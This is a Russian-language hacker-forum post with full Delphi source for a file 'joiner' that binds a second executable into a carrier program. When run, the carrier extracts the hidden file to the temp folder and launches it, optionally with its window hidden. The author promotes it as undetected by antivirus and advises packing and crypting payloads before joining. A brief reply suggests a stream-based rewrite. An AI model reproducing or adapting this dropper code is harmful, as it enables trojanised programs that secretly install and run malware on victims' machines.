Как я и обещал, выкладываю свой способ склейки файлов. Суть метода предельно, до тупого проста и понятна всем. В исходник программы носителя добавляется приведённая ниже процедура: Joiner. А дальше где-нибудь в программе устанавливется её вызов, например в начале основной части или, если её нет в функции FormCreate, в общем где посчитаете нужно, там и ставите... Далее действуем так: у нас есть два файла например nositel.exe-файл-носитель и Joined.exe - клеимый файл.Рззмещаем эти файлы в одном каталоге, запускаем nositel.exe в этом же каталоге образуется файл nositel.exe.exe он представляет собой уже склееные два файла nositel.exe и Joined.exe с добавленной в DOS-заголовке меткой склеености))) В общем-то если вы все параметры правильно ввели то у всё уже готово))... Переименовываем nositel.exe.exe в рабочее имя и можем его применять... при запуске этого файла он извлекает приклееную прогу в указанное в параметре место и в зависимости от выбранный парамтров запускает или нет с выбранным способом отображения окна))) Я думаю, что вопросы по теме будут, хотя вроде всё понятно, в общем что не ясно спрашивайте.... Преемущества метода: - Непалим антивирями по причине отсутствия загрузщика; - Метод прост и не требует наличия каких-либо средств; - Метод очень компактный в реализации; Недостатки метода: - Нельзя склеивать любые два файла, в качестве файла-носителя можно применять только файл, чей делфи исходник у вас есть... Особенность метода: - Упаковку и криптование файлов необходимо провести до склеивания))) Вот исходник процедуры, полностью описанный и с примером применения Code: ////////////////////////////////// //// AutoJoiner by execom //// //// 52Nn 'n' DE (c) 2007 //// //// 52nn.net & d4rkevil.org //// ////////////////////////////////// {$M 65000}//Эта дериктива компилятору выделяет память под запуск приложения //Её необходимо будет добавлять в каждую прогу внячале кода... program Project3; uses //Для работы процедуры необходимо присутствие этих модулей SysUtils, Windows; Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal); const mSize=56789;//Размер программы-носителя к которой будет крениться файл fSize=12345;//Размер крепимого файла //Эти два значения мы устанавливаем опытным путем и записываем сами type MnBuf=array[1..mSize] of Char; FlBuf=array[1..fSize] of Char; LaBuf=array[1..8] of Char; var mBuf : MnBuf; fBuf : FlBuf; lBuf : LaBuf; f : File of Char; begin FileMode:=0;//Устанавливаем режим работы с файлами "Только чтение" AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе Reset(f);//Открываем себя Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт //В DOS-заголовке ехе-файла на имеются зарезервированные места, //которые пока их не заняли мы можем свободно использовать //на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf if LBuf='E}{eC()M' then //Если в этом месте наша метка значит файл уже приклеин и нам необходимо //его из себя извлечь и по необходимости запустить в выбраном режиме отображения //Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции // и не более 20 байт в позиции 28h... Мы находимся на втором уровне Begin Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл CloseFile(f);//Закрываем себя FileMode:=2;//Устанавливаем режим работы с файлами "Только запись" {$I-}//Отключаем проверку ошибок ввода вывода AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки ReWrite(f);//Создаем с перезаписью пустой файл BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла CloseFile(f);//Закрываем себя {$I+}//Включаем проверку ошибок ввода вывода if fStart then WinExec(PChar(fPath+fName+' '+fCMD),fShow); //Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой end else //Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла //Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл begin {$I-}//Отключаем проверку ошибок ввода вывода Seek(f,0);//Переходим на позицию начала своего файла BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл CloseFile(f);//Закрываем себя AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу Reset(f);//Открываем его BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл CloseFile(f);//Закрываем клеимый файл FileMode:=2;//Устанавливаем режим работы с файлами "Только запись" AssignFile(f,paramstr(0)+'.ExE');//Ассоциируем переменную f с путём к файлу с именем, //как у файла носителя + .ЕхЕ ReWrite(f);//Создаём новый пустой файл BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла seek(f,$1C);//Переходим на позицию установки метки LBuf:='E}{eC()M';//Присваивем переменной значение метки BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания CloseFile(f);//Закрываем файл {$I+}//Включаем проверку ошибок ввода вывода end; end; begin //Применение процедуры Joiner: //fName - Имя клеимого файла //fPath - Папка распаковки файла //fCMD - командная строка запуска файла (если есть) //fstart - true - запускаем, false - не запускаем, извлечённый файл //fShow - Режим отображения запущеного файла например: //SW_HIDE - Прячет окно и переводит в активное состояние другое окно. //SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон. //SW_RESTORE - Действует так же, как и SW_SHOWNORMAL. //SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера. //SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний. //SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером. //SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы. //SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным. //SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным. //SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным. //SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна. //SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами. Joiner('calc.exe',GetEnvironmentVariable('TMP')+'\','',true,SW_Show); end. P.S. При написании программ с паблик исходниками пояснения из кода можете убрать, но оставьте строки копирайта Code: ////////////////////////////////// //// AutoJoiner by execom //// //// 52Nn 'n' DE (c) 2007 //// //// 52nn.net & d4rkevil.org //// ////////////////////////////////// Хотя - это скорей проcьба)))
недостаток то что только 2 файло могут быть склеены. Если написать то же самое с использованием Tfilestream или Tmemstream, получиться гораздо меньше писанины